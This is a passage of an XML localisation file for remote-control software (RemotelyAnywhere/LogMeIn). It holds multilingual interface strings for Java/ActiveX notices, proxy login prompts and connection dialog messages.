<ja>ブラウザが Java または ActiveX をサポートしていないか、サポートが無効になっています。Windows で Internet Explorer を使用している場合は、システム管理者が許可すれば ActiveX を有効にできます。そうでない場合、下のリンクにアクセスして Java ランタイム環境をダウンロードしてインストールしてから、このブラウザ ウィンドウをいったん閉じてまた開いてください。</ja>
<zh>您的浏览器不具有 Java 或 ActiveX 支持,或者已禁用。在 Windows 上使用 Internet Explorer 时,如果系统管理员允许您启用 ActiveX,则可以这样做。否则,请从下面的链接中下载并安装 Java 运行时环境,然后关闭再重新打开此浏览器窗口。</zh>
<ko>브라우저가 Java 또는 ActiveX를 지원하지 않고 사용 불가능합니다. Windows에서 Internet Explorer를 사용하려는 경우 시스템 관리자가 허용하면 ActiveX를 사용할 수 있습니다. 또는 아래 링크를 클릭하여 Java 런타임 환경을 다운로드 및 설치한 후 브라우저 창을 닫고 다시 여십시오.</ko>
<en-gb>Your browser does not have Java or ActiveX support or it is disabled. If you're using Internet Explorer on Windows you can enable ActiveX if your system administrator has permitted it. Otherwise follow the link below to download and install a Java runtime environment then close and re-open this browser window.</en-gb>
<hu>Az Ön böngészője nem rendelkezik ActiveX vagy Java támogatással, vagy az ki van kapcsolva. Ha Internet Explorer-t használ
Windows rendszeren, akkor engedélyezheti az ActiveX-et, ha a rendszergazda megengedte ezt Önnek. Ha nem, akkor kövesse az alábbi hivatkozást 
a Java futásidejű környezet letöltéséhez és telepítéséhez, majd zárja be és nyissa meg újból ezt a böngészőablakot.</hu>
<pt-br>Seu navegador não tem suporte para Java ou ActiveX, ou estão desabilitados. Se estiver usando o Internet Explorer no
Windows, você pode habilitar o Active X, se o administrador do sistema permitir. Caso contrário, siga o link abaixo para
baixar e instalar um ambiente de tempo de execução em Java. Em seguida, feche e reabra esta janela do navegador.</pt-br>
<nl>In uw browser is de ondersteuning voor Java of ActiveX niet beschikbaar of uitgeschakeld. Als u Internet Explorer op een Windows-computer gebruikt, kunt u het gebruik van ActiveX inschakelen als uw systeembeheerder hiervoor de toestemming heeft verleend. Als dat niet het geval is, klikt u op de onderstaande link om een Java-runtimeomgeving te downloaden en te installeren; vervolgens sluit u dit browservenster en opent u het venster opnieuw.</nl>
</msg>
<msg os="macosx" name="NOJAVA">
<en>Your browser does not have Java or ActiveX support or it is disabled. If you're using Internet Explorer on
Windows you can enable ActiveX if your system administrator has permitted it. Otherwise follow the link below to 
download and install a Java runtime environment then close and re-open this browser window.</en>
<es>Su navegador no tiene instalado ningún soporte Java o ActiveX o está deshabilitado. Si está utilizando Internet Explorer en
Windows puede habilitar ActiveX si se lo permite el administrador del sistema. En caso contrario, haga clic en el siguiente vínculo para 
descargar e instalar Java Runtime Environment; a continuación, cierre y abra de nuevo esta ventana del navegador.</es>
<fr>Votre navigateur n'a pas d'interprêteur Java installé ou est désactivé. Veuillez cliquer sur le lien ci-dessous pour télécharger et installer l'environnement Java runtime.</fr>
<de>Bei Ihrem Browser ist Java oder ActiveX deaktiviert oder wird nicht unterstützt. Wenn Sie Internet Explorer unter Windows verwenden, können Sie ActiveX aktivieren, sofern diese Option von Ihrem Systemadministrator freigegeben wurde. Klicken Sie andernfalls auf den nachstehenden Hyperlink, um eine Java-Laufzeitumgebung zu downloaden und zu installieren. Sie müssen anschließend dieses Browserfenster schließen und erneut öffnen.</de>
<it>Il browser non dispone del supporto Java o ActiveX o è disattivato. Se si utilizza Internet Explorer in Windows, è possibile attivare ActiveX se l'amministratore di sistema ha fornito l'autorizzazione. In caso contrario, scegliere il collegamento sottostante per effettuare il download e installare un ambiente di runtime Java, quindi chiudere e riaprire la finestra del browser.</it>
<ru>Обозреватель не поддерживает Java или ActiveX или она подключена. При использовании Internet Explorer в Windows поддержку ActiveX можно включить, если это разрешено системным администратором. В противном случае следуйте представленной ниже ссылке, чтобы загрузить и установить среду выполнения Java, а затем закройте и снова откройте окно обозревателя.</ru>
<ja>ブラウザが Java または ActiveX をサポートしていないか、サポートが無効になっています。Windows で Internet Explorer を使用している場合は、システム管理者が許可すれば ActiveX を有効にできます。そうでない場合、下のリンクにアクセスして Java ランタイム環境をダウンロードしてインストールしてから、このブラウザ ウィンドウをいったん閉じてまた開いてください。</ja>
<zh>您的浏览器不具有 Java 或 ActiveX 支持,或者已禁用。在 Windows 上使用 Internet Explorer 时,如果系统管理员允许您启用 ActiveX,则可以这样做。否则,请从下面的链接中下载并安装 Java 运行时环境,然后关闭再重新打开此浏览器窗口。</zh>
<ko>브라우저가 Java 또는 ActiveX를 지원하지 않고 사용 불가능합니다. Windows에서 Internet Explorer를 사용하려는 경우 시스템 관리자가 허용하면 ActiveX를 사용할 수 있습니다. 또는 아래 링크를 클릭하여 Java 런타임 환경을 다운로드 및 설치한 후 브라우저 창을 닫고 다시 여십시오.</ko>
<en-gb>Your browser does not have Java or ActiveX support or it is disabled. If you're using Internet Explorer on Windows you can enable ActiveX if your system administrator has permitted it. Otherwise follow the link below to download and install a Java runtime environment then close and re-open this browser window.</en-gb>
<hu>Az Ön böngészője nem rendelkezik ActiveX vagy Java támogatással, vagy az ki van kapcsolva. Ha Internet Explorer-t használ
Windows rendszeren, akkor engedélyezheti az ActiveX-et, ha a rendszergazda megengedte ezt Önnek. Ha nem, akkor kövesse az alábbi hivatkozást 
a Java futásidejű környezet letöltéséhez és telepítéséhez, majd zárja be és nyissa meg újból ezt a böngészőablakot.</hu>
<pt-br>Seu navegador não tem suporte para Java ou ActiveX, ou estão desabilitados. Se estiver usando o Internet Explorer no
Windows, você pode habilitar o Active X, se o administrador do sistema permitir. Caso contrário, siga o link abaixo para
baixar e instalar um ambiente de tempo de execução em Java. Em seguida, feche e reabra esta janela do navegador.</pt-br>
<nl>In uw browser is de ondersteuning voor Java of ActiveX niet beschikbaar of uitgeschakeld. Als u Internet Explorer op een Windows-computer gebruikt, kunt u het gebruik van ActiveX inschakelen als uw systeembeheerder hiervoor de toestemming heeft verleend. Als dat niet het geval is, klikt u op de onderstaande link om een Java-runtimeomgeving te downloaden en te installeren; vervolgens sluit u dit browservenster en opent u het venster opnieuw.</nl>
</msg>
<msg name="SSHOT.EXPLAIN">
<en>%PRODUCTNAME has detected that ActiveX and Java controls are not enabled in
your browser. As a result a screen-shot based HTML remote control will be
launched. For an optimal remote control experience, please enable ActiveX or
Java support in your browser.
</en>
<es>%PRODUCTNAME ha detectado que los controles ActiveX y Java no está habilitados en
su navegador. Por ello, se lanzará una captura de pantalla basada en
HTML. Para disfrutar de Control Remoto al máximo, habilite ActiveX o
Java en su navegador.</es>
<fr>%PRODUCTNAME a détecté que les commandes ActiveX et Java ne sont pas supportées  par
votre navigateur. Le contrôle distant se fera par l'envoi de photos d'écran basé sur le langage HTML .
Pour  optenir un contrôle distant optimale, veulliez activer les fonctions ActiveX ou
Java dans votre navigateur.</fr>
<it>%PRODUCTNAME ha rilevato che nel browser non sono attivati i controlli ActiveX e Java. Verrà avviato quindi un controllo remoto HTML basato su schermate. Per ottimizzare l'uso del controllo remoto, attivare il supporto ActiveX o Java del browser.</it>
<ru>%PRODUCTNAME обнаружил, что в обозревателе не включена поддержка средств управления ActiveX и Java. Поэтому будет запущен сеанс удаленного управления на основе HTML и снимков экрана. Для оптимального использования удаленного управления в обозревателе необходимо включить поддержку ActiveX или Java.</ru>
<ja>%PRODUCTNAME は、ActiveX および Java の制御がブラウザで有効になっていないことを検出しました。結果として、スクリーン ショットベースの HTML リモート制御が開始されます。オプティカル リモート制御を実行するには、ブラウザの ActiveX または Java のサポートを有効にしてください。</ja>
<zh>%PRODUCTNAME 已检测到您的浏览器中没有启用 ActiveX 和 Java 控件。因此,将启动基于屏幕快照的 HTML 远程控制。为了实现最佳的远程控制体验,请在浏览器中启用 ActiveX 或 Java 支持。</zh>
<ko>%PRODUCTNAME은(는) ActiveX 및 Java 컨트롤을 브라우저에서 사용할 수 없음을 발견했습니다. 결과적으로 스크린샷 기반 HTML 원격 제어가 실행됩니다. 최적의 원격 제어를 수행하려면 브라우저에서 ActiveX 또는 Java 지원을 사용하십시오.</ko>
<en-gb>%PRODUCTNAME has detected that ActiveX and Java controls are not enabled in your browser. As a result a screen-shot based HTML remote control will be launched. For an optimal remote control experience, please enable ActiveX or Java support in your browser.</en-gb>
<hu>A %PRODUCTNAME észlelte, hogy az ActiveX és a Java vezérlők nincsenek engedélyezve
az Ön böngészőjében. Ennek következtében egy képernyőkép alapú távvezérlés 
indul el. Az optimális távvezérléshez engedélyezze az ActiveX vagy
Java támogatást a böngészőjében.</hu>
<pt-br>O %PRODUCTNAME detectou que os controles ActiveX e Java não estão habilitados no
seu navegador. Como resultado, será inicializado um controle remoto de HTML baseado em 
captura de tela. Para obter uma experiência de controle remoto ideal, habilite suporte a ActiveX
ou Java no seu navegador.</pt-br>
<nl>%PRODUCTNAME heeft vastgesteld dat in uw browser de ActiveX- en Java-besturingselementen niet zijn ingeschakeld. Om die reden wordt de besturing op afstand op basis van schermafbeeldingen met HTML gestart. Voor een optimale beleving van de besturing op afstand is het raadzaam om de ondersteuning voor ActiveX of Java in uw browser in te schakelen.</nl>
</msg>
<msg name="CMDLINE.EXPLAIN">
<en>An HTML-based command prompt has been launched, but for better results, please enable ActiveX or Java support in your browser.</en>
<es>Se ha lanzado un prompt de comando basado en HTML; sin embargo, para obtener mejores resultados, habilite ActiveX o Java en su navegador.</es>
<fr>Une ligne de commande basé sur HTML a été lancée, mais pour de meilleures résultats, veuillez activer les fonctions ActiveX ou Java dans votre navigateur.</fr>
<de>Es wurde eine HTML-Eingabeaufforderung gestartet. Um bessere Ergebnisse zu erzielen, müssen Sie jedoch ActiveX oder Java in Ihrem Browser aktivieren.</de>
<it>È stato avviato un prompt dei comandi basato su HTML; tuttavia, per risultati ottimali, attivare il supporto ActiveX o Java del browser.</it>
<ru>Для оптимального использования удаленного управления в обозревателе необходимо включить поддержку ActiveX или Java.</ru>
<ja>HTML ベースのコマンド プロンプトが開始されました。より正確な結果を得るには、ブラウザのActiveX または Java サポートを有効にしてください。</ja>
<zh>已启动基于 HTML 的命令提示,但是为了获得更好的结果,请在浏览器中启用 ActiveX 或 Java 支持。</zh>
<ko>HTML 기반 명령 프롬프트를 실행했지만 더 좋은 결과를 얻으려면 브라우저에서 ActiveX 또는 Java 지원을 사용하십시오.</ko>
<en-gb>An HTML-based command prompt has been launched, but for better results, please enable ActiveX or Java support in your browser.</en-gb>
<hu>Egy HTML-alapú parancssor indult el, ám a jobb eredményhez kérem, engedélyezze a böngészőjében az ActiveX vagy Java támogatást.</hu>
<pt-br>Foi iniciado o prompt de comando baseado em HTML, mas para obter melhores resultados, habilite o suporte ActiveX ou Java no seu navegador.</pt-br>
<nl>Een HTML-gebaseerde opdrachtprompt is gestart, maar voor een beter resultaat is het raadzaam om de ondersteuning voor ActiveX of Java in uw browser in te schakelen.</nl>
</msg>
<msg name="NATUDPTOOKOVER">
<en>Handoff connection active ($1).</en>
<de>Verbindung aktiv ($1).</de>
<es>Conexión de salida activa ($1).</es>
<fr>Connexion de transfert active ($1).</fr>
<it>Connessione handoff attiva ($1).</it>
<ru>Соединение переадресации вызова активно ($1).</ru>
<ja>ハンドオフ接続がアクティブです ($1)。</ja>
<zh>传递连接处于活动状态 ($1)。</zh>
<ko>핸드오프 연결 사용 ($1).</ko>
<en-gb>Handoff connection active ($1).</en-gb>
<hu>Átadásos kapcsolat aktív ($1).</hu>
<pt-br>Conexão de entrega ativa ($1).</pt-br>
<nl>Handoff-verbinding geactiveerd ($1).</nl>
</msg>
<cat name="PROXY">
<msg name="TITLE">
<en>Proxy Authentication</en>
<de>Proxy Authentifizierung</de>
<es>Autenticación de proxy</es>
<fr>Authentification du Proxy</fr>
<it>Autenticazione proxy</it>
<ru>Проверка подлинности прокси-сервера</ru>
<ja>プロキシ認証</ja>
<zh>代理验证</zh>
<ko>프록시 인증</ko>
<en-gb>Proxy Authentication</en-gb>
<hu>Proxy hitelesítés</hu>
<pt-br>Autenticação proxy</pt-br>
<nl>Verificatie van proxyserver</nl>
</msg>
<msg name="TEXT0">
<en>RemotelyAnywhere needs to log on to your proxy server to access the Internet.</en>
<de>RemotelyAnywhere muss sich bei ihrem Proxy Server anmelden, um auf das Internet zuzugreifen.</de>
<es>RemotelyAnywhere necesita iniciar sesión en su servidor proxy para acceder a Internet.</es>
<fr>RemotelyAnywhere doit se connecté à votre serveur proxy pour accéder à Internet.</fr>
<it>È necessario che RemotelyAnywhere effettui il login al server proxy per accedere a Internet.</it>
<ru>RemotelyAnywhere требуется зарегистрироваться на прокси-сервере, чтобы получить доступ к Интернету.</ru>
<ja>RemotelyAnywhere がインターネットにアクセスするには、プロキシ サーバーにログインする必要があります。</ja>
<zh>RemotelyAnywhere 需要登录至您的代理服务器以访问 Internet。</zh>
<ko>RemotelyAnywhere은 인터넷에 액세스하기 위해 프록시 서버에 로그온해야 합니다.</ko>
<en-gb>RemotelyAnywhere needs to log on to your proxy server to access the Internet.</en-gb>
<hu>A RemotelyAnywhere be kell jelentkezzen az Ön proxykiszolgálójára az Internet eléréséhez.</hu>
<pt-br>RemotelyAnywhere precisa se conectar ao seu servidor proxy para acessar a Internet.</pt-br>
<nl>RemotelyAnywhere moet zich bij uw proxyserver aanmelden om toegang te krijgen tot internet.</nl>
</msg>
<msg brand="LMI" name="TEXT0">
<en>LogMeIn needs to log on to your proxy server to access the Internet.</en>
<de>RemotelyAnywhere muss sich bei ihrem Proxy Server anmelden, um auf das Internet zuzugreifen.</de>
<es>RemotelyAnywhere necesita iniciar sesión en su servidor proxy para acceder a Internet.</es>
<fr>RemotelyAnywhere doit se connecté à votre serveur proxy pour accéder à Internet.</fr>
<it>È necessario che RemotelyAnywhere effettui il login al server proxy per accedere a Internet.</it>
<ru>RemotelyAnywhere требуется зарегистрироваться на прокси-сервере, чтобы получить доступ к Интернету.</ru>
<ja>RemotelyAnywhere がインターネットにアクセスするには、プロキシ サーバーにログインする必要があります。</ja>
<zh>RemotelyAnywhere 需要登录至您的代理服务器以访问 Internet。</zh>
<ko>RemotelyAnywhere은 인터넷에 액세스하기 위해 프록시 서버에 로그온해야 합니다.</ko>
<en-gb>RemotelyAnywhere needs to log on to your proxy server to access the Internet.</en-gb>
<hu>A RemotelyAnywhere be kell jelentkezzen az Ön proxykiszolgálójára az Internet eléréséhez.</hu>
<pt-br>RemotelyAnywhere precisa se conectar ao seu servidor proxy para acessar a Internet.</pt-br>
<nl>RemotelyAnywhere moet zich bij uw proxyserver aanmelden om toegang te krijgen tot internet.</nl>
</msg>
<msg name="TEXT1">
<en>Please enter your logon information below.</en>
<de>Geben sie bitte ihre Anmeldeinformationen unten ein.</de>
<es>Introduzca su información de inicio de sesión a continuación.</es>
<fr>Veuillez écrire vos informations d'ouverture de session ci-dessous.</fr>
<it>Immettere i dati di accesso di seguito.</it>
<ru>Введите ниже свои регистрационные сведения.</ru>
<ja>以下にログイン情報を入力してください。</ja>
<zh>请在下面输入登录信息。</zh>
<ko>아래에 로그온 정보를 입력하십시오.</ko>
<en-gb>Please enter your logon information below.</en-gb>
<hu>Kérjük, az alábbiakban adja meg bejelentkezési adatait.</hu>
<pt-br>Digite as informações de logon abaixo.</pt-br>
<nl>Voer uw aanmeldingsgegevens hieronder in.</nl>
</msg>
<msg name="USER">
<en>User name:</en>
<de>Benutzername:</de>
<es>Nombre de usuario:</es>
<fr>Nom utilisateur :</fr>
<it>Nome utente:</it>
<ru>Имя пользователя:</ru>
<ja>ユーザ名 :</ja>
<zh>用户名:</zh>
<ko>사용자 이름:</ko>
<en-gb>Username:</en-gb>
<hu>Felhasználói név:</hu>
<pt-br>Nome do usuário:</pt-br>
<nl>Gebruikersnaam:</nl>
</msg>
<msg name="PASS">
<en>Password  :</en>
<de>Kennwort:</de>
<es>Contraseña  :</es>
<fr>Mot de passe :</fr>
<it>Password:</it>
<ru>Пароль  :</ru>
<ja>パスワード :</ja>
<zh>密码:</zh>
<ko>암호:</ko>
<en-gb>Password  :</en-gb>
<hu>Jelszó :</hu>
<pt-br>Senha  :</pt-br>
<nl>Wachtwoord:</nl>
</msg>
<msg name="CHECK">
<en>Remember this login on this computer</en>
<de>Anmeldeinformationen auf diesem Computer speichern</de>
<es>Recordar estos datos de inicio de sesión en este ordenador</es>
<fr>Se souvenir des informations d'ouverture de session sur cet ordinateur</fr>
<it>Salvare questo accesso sul computer</it>
<ru>Запомните эти сведения, необходимые для регистрации на данном компьютере.</ru>
<ja>このコンピュータへのログイン情報を記憶する</ja>
<zh>记住此次对该计算机的登录</zh>
<ko>컴퓨터에서 이 로그온 정보 기억</ko>
<en-gb>Remember this login on this computer</en-gb>
<hu>Emlékezzen erre a bejelentkezésre ezen a számítógépen</hu>
<pt-br>Lembrar este login neste computador</pt-br>
<nl>Deze aanmeldingsgegevens op deze computer onthouden</nl>
</msg>
<msg name="UNSUPPAUTH">
<en>The proxy server requires an unknown or unsupported authentication method.\n\nSupported authentication methods are: NTLM (Integrated) and Basic.</en>
<de>Der Proxy Server erfordert eine Authentifizierungsmethode, die nicht unterstützt wird.\n\n
Unterstützte Methoden sind: NTLM und Basic.</de>
<es>El servidor proxy requiere un método de autenticación no compatible o desconocido.\n\nLos métodos de autenticación compatibles son: NTLM (integrado) y básico.</es>
<fr>Le serveur proxy demande une méthode d'authentification inconnue ou non supportée.\n\nMéthodes d'authentification supportées sont : NTLM (intégré) et Basic.</fr>
<it>Il server proxy richiede un metodo di autenticazione sconosciuto o non supportato.\n\nI metodi di autenticazione supportati sono: NTLM (integrata) e Basic.</it>
<ru>Прокси-сервер требует использования неизвестного или неподдерживаемого способа проверки подлинности.\n\nК поддерживаемым способам проверки подлинности относятся NTLM (интегрированная) и обычная.</ru>
<ja>プロキシ サーバーは、不明またはサポートされていない認証メソッドを必要としています。\n\nサポートされているメソッドは次のメソッドです :NTLM (Integrated) および Basic。</ja>
<zh>代理服务器需要未知或不受支持的验证方法。\n\n受支持的验证方法为:NTLM(集成)和基本。</zh>
<ko>프록시 서버가 알 수 없거나 지원되지 않는 인증 방법을 요구합니다.\n\지원되는 인증 방법에는 NTLM(통합) 및 기본 인증이 있습니다.</ko>
<en-gb>The proxy server requires an unknown or unsupported authentication method.\n\nSupported authentication methods are: NTLM (Integrated) and Basic.</en-gb>
<hu>A proxykiszolgáló ismeretlen, vagy nem támogatott hitelesítési módszert igényel.\n\nA támogatott hitelesítési módszerek a következők: NTLM (Integrált) és Alap.</hu>
<pt-br>O servidor proxy requer um método de autenticação desconhecido ou sem suporte. \n\nOs métodos de autenticação com suporte são: NTLM (Integrado) e básico.</pt-br>
<nl>Voor de proxyserver is een onbekende of niet-ondersteunde verificatiemethode vereist.\n\nDe volgende verificatiemethoden worden ondersteund: NTLM (geïntegreerd) en basisversie.</nl>
</msg>
</cat>
<cat name="CONNDLG">
<msg name="CAPTION.CONNECTING">
<en>Connecting</en>
<de>Verbinden</de>
<es>Conectando</es>
<fr>En connexion</fr>
<it>Connessione</it>
<ru>Подключение</ru>
<ja>接続しています</ja>
<zh>正在连接</zh>
<ko>연결 중</ko>
<en-gb>Connecting</en-gb>
<hu>Csatlakoztatás</hu>
<pt-br>Conectando</pt-br>
<nl>Bezig met verbinden</nl>
</msg>
<msg name="CAPTION.CONNECTED">
<en>Connected</en>
<de>Verbunden</de>
<es>Conectado</es>
<fr>Connecté</fr>
<it>Connesso</it>
<ru>Подключен</ru>
<ja>接続されました</ja>
<zh>已连接</zh>
<ko>연결됨</ko>
<en-gb>Connected</en-gb>
<hu>Csatlakoztatva</hu>
<pt-br>Conectado</pt-br>
<nl>Verbonden</nl>
</msg>
<msg name="CAPTION.DISCONNECTED">
<en>Disconnected</en>
<de>Getrennt</de>
<es>Desconectado</es>
<fr>Déconnecté</fr>
<it>Disconnesso</it>
<ru>Отключен</ru>
<ja>切断されました</ja>
<zh>已断开连接</zh>
<ko>연결이 해제됨</ko>
<en-gb>Disconnected</en-gb>
<hu>Kapcsolat megszakítva</hu>
<pt-br>Desconectado</pt-br>
<nl>Verbinding is verbroken</nl>
</msg>
<msg name="TITLE.CONNECTING">
<en>Please wait...</en>
<de>Bitte warten ...</de>
<es>Espere...</es>
<fr>Veuillez patienter...</fr>
<it>Attendere...</it>
<ru>Подождите...</ru>
<ja>お待ちください...</ja>
<zh>请稍候...</zh>
<ko>잠시 기다려 주십시오...</ko>
<en-gb>Please wait...</en-gb>
<hu>Kérem, várjon...</hu>
<pt-br>Aguarde...</pt-br>
<nl>Een ogenblik geduld...</nl>
</msg>
<msg name="TITLE.CONNECTED">
<en>Ready.</en>
<de>Bereit.</de>
<es>Listo.</es>
<fr>Prêts.</fr>
<it>Pronto.</it>
<ru>Готово.</ru>
<ja>準備できました。</ja>
<zh>就绪。</zh>
<ko>준비.</ko>
<en-gb>Ready.</en-gb>
<hu>Kész.</hu>
<pt-br>Pronto.</pt-br>
<nl>Gereed.</nl>
</msg>
<msg name="TITLE.DISCONNECTED">
<en>You have been disconnected.</en>
<de>Sie wurden getrennt.</de>
<es>Ha sido desconectado.</es>
<fr>Vous avez été déconnecté.</fr>
<it>La connessione è stata terminata.</it>
<ru>Соединение разорвано.</ru>
<ja>切断されています。</ja>
<zh>您已经断开连接。</zh>
<ko>연결이 해제되었습니다.</ko>
<en-gb>You have been disconnected.</en-gb>
<hu>Az Ön kapcsolata megszakadt.</hu>
<pt-br>Você foi desconectado.</pt-br>
<nl>Uw verbinding is verbroken.</nl>
</msg>
<msg name="DETAILS.SHOW">
<en>Details &gt;&gt;&gt;</en>
<de>Details &gt;&gt;&gt;</de>
<es>Detalles &gt;&gt;&gt;</es>
<fr>Détails &gt;&gt;&gt;</fr>
<it>Dettagli &gt;&gt;&gt;</it>
<ru>Подробности &gt;&gt;&gt;</ru>
<ja>詳細 &gt;&gt;&gt;</ja>
<zh>详情 &gt;&gt;&gt;</zh>
<ko>세부사항 &gt;&gt;&gt;</ko>
<en-gb>Details &gt;&gt;&gt;</en-gb>
<hu>Részletek &gt;&gt;&gt;</hu>
<pt-br>Detalhes &gt;&gt;&gt;</pt-br>
<nl>Details &gt;&gt;&gt;</nl>
</msg>
<msg name="DETAILS.HIDE">
<en>Details &lt;&lt;&lt;</en>
<de>Details &lt;&lt;&lt;</de>
<es>Detalles &lt;&lt;&lt;</es>
<fr>Détails &lt;&lt;&lt;</fr>
<it>Dettagli &lt;&lt;&lt;</it>
<ru>Подробности &lt;&lt;&lt;</ru>
<ja>詳細 &lt;&lt;&lt;</ja>
<zh>详情 &lt;&lt;&lt;</zh>
<ko>세부사항 &lt;&lt;&lt;</ko>
<en-gb>Details &lt;&lt;&lt;</en-gb>
<hu>Részletek &lt;&lt;&lt;</hu>
<pt-br>Detalhes &lt;&lt;&lt;</pt-br>
<nl>Details &lt;&lt;&lt;</nl>
</msg>
<msg name="DETAILS.SHOW2">
<en>Show details</en>
<de>Details einblenden</de>
<es>Mostrar detalles</es>
<fr>Afficher les détails</fr>
<it>Mostra dettagli</it>
<ru>Показать детали</ru>
<ja>詳細を表示する</ja>
<ko>세부사항 표시</ko>
<hu>Részletek megjelenítése</hu>
<pt-br>Mostrar detalhes</pt-br>
<zh>显示详细信息</zh>
<nl>Details weergeven</nl>
</msg>
<msg name="DETAILS.HIDE2">
<en>Hide details</en>
<de>Details ausblenden</de>
<es>Ocultar detalles</es>
<fr>Masquer les détails</fr>
<it>Nascondi dettagli</it>
<ru>Скрыть детали</ru>
<ja>詳細を隠す</ja>
<ko>세부사항 숨기기</ko>
<hu>Részletek elrejtése</hu>
<pt-br>Ocultar detalhes</pt-br>
<zh>隐藏详细信息</zh>
<nl>Details verbergen</nl>
</msg>
<msg name="AUTOCLOSE">
<en>Automatically close this dialog</en>
<de>Dialog automatisch schließen</de>
<es>Cerrar automáticamente este cuadro de diálogo</es>
<fr>Clôturer automatiquement cette boîte de dialogue une fois connecté</fr>
<it>Chiudi automaticamente questa finestra di dialogo</it>
<ru>Автоматически закрывать данное диалоговое окно</ru>
<ja>このダイアログを自動的に閉じる</ja>
<zh>自动关闭此对话框</zh>
<ko>자동으로 이 대화 상자 닫기</ko>
<en-gb>Automatically close this dialogue box</en-gb>
<hu>Párbeszédablak automatikus bezárása</hu>
<pt-br>Fechar automaticamente esta caixa de diálogo</pt-br>
<nl>Dit dialoogvenster automatisch sluiten</nl>
</msg>
<msg name="NETWORKCONNECTED">
<en>Connect network</en>
<de>Netzwerk verbinden</de>
<es>Conectar la red</es>
<fr>Connecter le réseau</fr>
<it>Collega rete</it>
<ru>Подключиться к сети </ru>
<ja>ネットワークを接続する</ja>
<ko>네트워크 연결</ko>
<hu>Hálózati kapcsolat</hu>
<pt-br>Conectar rede</pt-br>
<zh>连接网络</zh>
<nl>Netwerk koppelen</nl>
</msg>
<msg name="ENCRYPTIONACTIVE">
<en>Activate encryption</en>
<de>Verschlüsselung aktivieren</de>
<es>Activar encriptado</es>
<fr>Activer le cryptage</fr>
<it>Attiva crittografia</it>
<ru>Включить шифрование</ru>
<ja>暗号化をアクティブにする</ja>
<ko>암호화 활성화</ko>
<hu>Titkosítás bekapcsolása</hu>
<pt-br>Ativar criptografia</pt-br>
<zh>激活加密</zh>
<nl>Codering activeren</nl>
</msg>
<msg name="IDENTITYVERIFIED">
<en>Verify identity</en>
<de>Identität überprüfen</de>
<es>Verificar identidad</es>
<fr>Vérifier l'identité</fr>
<it>Verifica identità</it>
<ru>Идентификация</ru>
<ja>ID を検証する</ja>
<ko>ID 확인</ko>
<hu>Személyazonosság ellenőrzése</hu>
<pt-br>Verificar identidade</pt-br>
<zh>验证身份</zh>
<nl>Identiteit controleren</nl>
</msg>
<msg name="REMOTEPRINTER">
<en>Connect printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Printer koppelen</nl>
</msg>
<msg name="ABOUTCONNECTPRINTER">
<en>Connect printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Printer koppelen</nl>
</msg>
<msg name="ABOUTSYNCRONIZECLIPBOARDS">
<en>Syncronize clipboards</en>
<de>Zwischenablagen synchronisieren</de>
<es>Sincronizar el portapapeles</es>
<fr>Synchroniser les presse-papiers</fr>
<it>Sincronizza Appunti</it>
<ru>Синхронизировать буферы обмена</ru>
<ja>クリップボードを同期化</ja>
<ko>클립보드 동기화</ko>
<hu>Vágólapok szinkronizálása</hu>
<pt-br>Sincronizar áreas de transferência</pt-br>
<zh>同步剪贴板</zh>
<nl>Klemborden synchroniseren</nl>
</msg>
<msg name="ABOUTDONTSHOWAGAIN">
<en>Don't show this again</en>
<de>Nicht erneut anzeigen</de>
<es>No volver a mostrar este mensaje.</es>
<fr>Ne plus afficher</fr>
<it>Non visualizzare più questa finestra</it>
<ru>Больше не показывать это сообщение</ru>
<ja>このメッセージを再び表示しない</ja>
<ko>이 메시지를 다시 표시하지 않음</ko>
<hu>Máskor ne mutassa ezt.</hu>
<pt-br>Não mostrar novamente</pt-br>
<zh>不再显示此信息</zh>
<nl>Dit dialoogvenster niet meer weergeven</nl>
</msg>
<msg name="CONNECTSUCCESS">
<en>This computer is now ready\nto be remote controlled.\n\nClick continue to proceed.</en>
<de>Dieser Computer ist jetzt\nfür die Fernsteuerung bereit.\n\nKlicken Sie auf "Fortfahren", um fortzufahren.</de>
<es>Este ordenador está listo\nto para ser controlado de forma remota.\n\nHaga clic en continuar para comenzar.</es>
<fr>Cet ordinateur est maintenant prêt\npour être contrôlé à distance.\n\nCliquez sur continuer pour poursuivre.</fr>
<it>Questo computer è ora pronto\nper il controllo remoto.\n\nFare clic su Continua per procedere.</it>
<ru>Этот компьютер готов к удаленному администрированию.\n\nНажмите "Продолжить", чтобы продолжить работу. </ru>
<ja>このコンピュータの\nリモート制御準備が整いました。\n\n次へ進むには [続行] をクリックしてください。</ja>
<ko>이 컴퓨터를 원격으로 제어할\n준비가 되었습니다.\n\n"계속"을 클릭하여 진행하십시오.</ko>
<hu>Ez a számítógép készen áll\na távoli vezérlésre.\n\n A folytatáshoz kattintson a Folytatás gombra.</hu>
<pt-br>Este computador agora está preparado\npara ser controlado remotamente.\n\nClique para continuar o processo.</pt-br>
<zh>此计算机现在已准备好\n被远程控制。\n\n单击继续以继续进行。</zh>
<nl>Deze computer is nu gereed\nom op afstand te worden bestuurd.\n\nKlik op Doorgaan om verder te gaan.</nl>
</msg>
<cat name="ICON">
<msg name="CONNECT">
<en>Successfully connected to the remote computer.</en>
<es>Se ha conectado correctamente al ordenador remoto.</es>
<fr>Connecté avec succès à l'ordinateur distant.</fr>
<de>Verbindung mit Remotecomputer wurde hergestellt.</de>
<it>Connessione al computer remoto riuscita.</it>
<ru>Подключение к данному удаленному компьютеру выполнено успешно.</ru>
<ja>リモート コンピュータへの接続に成功しました。</ja>
<zh>已成功连接至远程计算机。</zh>
<ko>원격 컴퓨터에 연결되었습니다.</ko>
<en-gb>Successfully connected to the remote computer.</en-gb>
<hu>Sikeresen csatlakozott a távoli számítógéphez.</hu>
<pt-br>Conectado com êxito ao computador remoto.</pt-br>
<nl>Verbinding gemaakt met de externe computer.</nl>
</msg>
<msg name="ENCRYPT">
<en>Encryption is active.</en>
<de>Die Verschlüsselung ist aktiv.</de>
<es>Cifrado activado.</es>
<fr>Cryptage actif.</fr>
